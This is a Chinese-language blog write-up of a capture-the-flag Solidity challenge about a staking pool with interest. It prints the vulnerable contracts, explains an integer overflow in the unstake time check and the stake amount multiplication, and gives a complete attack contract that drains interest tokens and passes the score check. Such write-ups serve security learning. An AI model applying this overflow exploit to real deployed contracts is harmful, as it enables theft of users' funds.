40.质押&利息&溢出
2023-06-23 20:49:50 # 00.security

质押&利息&溢出

和本博客文章[security-02]差不多,改了一点

题目

要求:check的score得到100分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");

return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;

return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;

return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20 {
using SafeMath for uint256;

mapping (address => uint256) public _balances;

mapping (address => mapping (address => uint256)) public _allowances;

string public _name;
string public _symbol;
uint8 public _decimals;

constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}

function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}

function transfer(address recipient, uint256 amount) public virtual returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}

function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}

function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");

_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
}

function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_balances[account] = _balances[account].add(amount);
}

function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount);
}

function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}

}

contract ZT is ERC20("ZERO TOKEN", "ZT"){
//RULE 1
bytes32 constant RULE_WITHDRAW_WANT = keccak256(abi.encodePacked("withdraw"));

//RULE 2
bytes32 constant RULE_NONE_WANT = keccak256(abi.encodePacked("depositByValue"));


constructor()public{
_mint(msg.sender,10000000*10**18);
}
function depositByWant(uint amount)external payable{
// uint amount = _amount.mul(10**18);
require(msg.value>=amount,"you want to trick me?");
MkaheChange(msg.sender,amount,RULE_NONE_WANT);
}

function withdraw(uint amount)external payable returns(bool){
// uint amount = _amount.mul(10**18);
require(balanceOf(msg.sender)>=amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
return MkaheChange(msg.sender,amount,RULE_WITHDRAW_WANT);
}

function MkaheChange(address to,uint amount,bytes32 ID)internal returns(bool){
if(ID==RULE_NONE_WANT)
{
_balances[msg.sender]=_balances[msg.sender].add(amount);
return true;
}else if(ID==RULE_WITHDRAW_WANT){
bool a;
(a,)=payable(to).call.value(amount)("");
require(a,"withdraw fail");
return true;
}
else{
return false;
}
}


fallback()external payable{
MkaheChange(
msg.sender,
msg.value,
RULE_NONE_WANT
);
}
}
contract stakepool{
ZT public token;
uint totalsupply;
string symbol;
mapping(address=>uint)internal workbalance;
mapping(address=>bool)public passed;
struct userInfo{
uint amount;
uint duration;
uint startTime;
}
mapping(address=>userInfo)internal userDetails;

constructor()public{
token =new ZT();
symbol = "cuit";
totalsupply = token.balanceOf(address(this));
}

function getDetails(address account)public view returns(userInfo memory){
return userDetails[account];
}

function workBalanceOf(address account)public view returns(uint){
bool pass=passed[account];
if(pass){
return workbalance[account];
}else{
return 0;
}
}

function Zt()public view returns(address){
return address(token);
}

function stake(uint amount,uint blocknumber)external returns(uint256){
require(blocknumber>=1,"At least 1 block");

userInfo storage user = userDetails[msg.sender];

user.startTime = block.number;
user.duration = blocknumber;
user.amount += amount;
passed[msg.sender] = false;

token.transferFrom(msg.sender,address(this),amount*10**18);
workbalance[msg.sender] += blocknumber;
//return block.number; 目前43
}

function unstake()external{
userInfo storage user = userDetails[msg.sender];
require(block.number>=user.startTime+user.duration,"you are in a hurry ");//整数溢出
passed[msg.sender] = true;
uint amount = user.amount;
user.amount = 0;
token.transfer(msg.sender,amount*10**18);
}

function swap(uint amount)external{
uint balance = workBalanceOf(msg.sender);
require(balance>=amount,"exceed");
workbalance[msg.sender] -= amount;
token.transfer(msg.sender,amount*10**18);
}

}

contract check is stakepool{
uint256 public score;
function isCompleted()public{
score=0;
if (getDetails(msg.sender).amount>5000000 ether){
score+=25;
}
if (token.balanceOf(msg.sender)>500000 ether){
score+=75;
}
}
}

分析

代码量庞大,让我们来理顺一下各个合约是干什么的

  • Library SafeMath:一个安全数学运算库
  • ERC20:代币合约标准,出题一般不会在这做手脚的
  • ZT:是一种ERC20代币
  • stakePool:质押合约,本题的重点
  • check:检验是否完成题目

这道题是让我们质押一定的金额,然后到了质押时间之后,可以拿回本金,再通过swap函数获得利息,质押时间就是利息金额。需要通过下面的两个条件:getDetails()说明我们需要在合约中质押大于5000000 ether才可以得到25分,balanceOf()说明我们需要得到500000 ether

1
2
3
4
5
6
if (getDetails(msg.sender).amount>5000000 ether){
score+=25;
}
if (token.balanceOf(msg.sender)>500000 ether){
score+=75;
}

我们看编译器版本小于0.8.0,并且质押完成取钱的函数中,require()并没有用安全运算库中的方法,因此它满足了溢出的条件。假如我们设置质押时间很大,使得user.startTime+user.duration溢出,那么block.number就大于它了,我们就不需要等这么长时间,马上就可以完成质押取钱

1
2
3
4
5
6
7
8
function unstake()external{
userInfo storage user = userDetails[msg.sender];
require(block.number>=user.startTime+user.duration,"you are in a hurry ");//整数溢出
passed[msg.sender] = true;
uint amount = user.amount;
user.amount = 0;
token.transfer(msg.sender,amount*10**18);
}

swap函数是获取利息函数,它需要从workBalanceOf()函数获得可以获得的利息金额。然而workBalanceOf()函数必须要质押结束之后才可以返回质押金额,否则返回0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function swap(uint amount)external{
uint balance = workBalanceOf(msg.sender);
require(balance>=amount,"exceed");
workbalance[msg.sender] -= amount;
token.transfer(msg.sender,amount*10**18);
}

function workBalanceOf(address account)public view returns(uint){
bool pass=passed[account];
if(pass){
return workbalance[account];
}else{
return 0;
}
}

getDetails方法是获得用户质押的结构体

1
2
3
function getDetails(address account)public view returns(userInfo memory){
return userDetails[account];
}

下面的攻击思路:

  1. 调用stake:质押0元,质押日期设置为(2^256)-1。保证溢出,并且质押金额非常大,获利非常大
  2. 调用unstake:因为溢出,通过检测,拿回本金0元
  3. 调用swap:获得利息(2^256)-1。到了这一步,就完成了75分
  4. 调用approve:授权给给check一定数量的token代币
  5. 调用stake:质押金额

做题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//figure函数算出让amount发生溢出的值,达成第一个条件
//fig1函数计算让blocknumber发生溢出的值,达成第二个条件
contract attack{
check che;
constructor(address _che)public{
che = check(_che);
}
uint256 max = 2**256-1;
uint256 eth = 10**18;
function figure()public view returns(uint256){
return (max/eth)+1;
}
function fig1()public pure returns(uint256){
return 2**256-1;
}

function attack()public{
che.stake(0,fig1());
che.unstake();
che.swap(600000);
}

function attack2()public{

che.token().approve(address(che),10000000000 ether);
che.stake(figure(),fig1());
}

function complete()public{
che.isCompleted();
}
}

反思

这道题跟我之前遇到的那道题如出一辙,只是改动了一点点东西。考核的时候,看到如此庞大的代码量就麻木和紧张了,分析思路都乱了,今晚再看这道题,没有压力,思路清晰多了,看整个题目也知道他在干什么业务。

考场的情况,就是紧张,没有理清思路。以后不管什么场合,都应该冷静下来,无论代码量多还是少,都要先整体分析整个业务是干什么的,然后再到每个合约是干什么的,有个宏观的把握。接着就要分析重点的合约,根据业务流程,逐步分析每个方法是干什么的,他们之间有什么联系。当明白了每个方法之间的调用关系和业务流程之后,我们就可以找漏洞了:逻辑调用漏洞,代码写的有问题,等等

Prev
2023-06-23 20:49:50 # 00.security
Next